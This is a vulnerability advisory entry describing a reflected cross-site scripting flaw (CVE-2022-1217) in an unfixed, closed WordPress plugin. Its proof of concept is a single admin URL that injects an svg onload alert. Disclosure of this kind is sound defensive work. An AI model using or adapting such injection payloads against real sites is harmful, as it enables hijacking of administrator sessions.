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How it worksPricing
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WordPress Plugin Vulnerabilities

Custom TinyMCE Shortcode Button <= 1.1 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the PHP_SELF variable before outputting it back in an attribute in an admin page, leading to Reflected Cross-Site Scripting.

Proof of Concept

https://example.com/wp-admin/options-general.php/%22%3E%3Csvg/onload=alert(/xss/)%3E?page=stscb-page-elements 

Affects Plugins

custom-tinymce-shortcode-button
No known fix - plugin closed

References

CVE
CVE-2022-1217

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

p7e4

Submitter

p7e4

Submitter website
https://github.com/p7e4
Submitter twitter
p7e4_
Verified

Yes

WPVDB ID
15875f52-7a49-44c7-8a36-b49ddf37c20c

Timeline

Publicly Published

2022-04-19 (about 2 months ago)

Added

2022-04-19 (about 2 months ago)

Last Updated

2022-04-20 (about 2 months ago)

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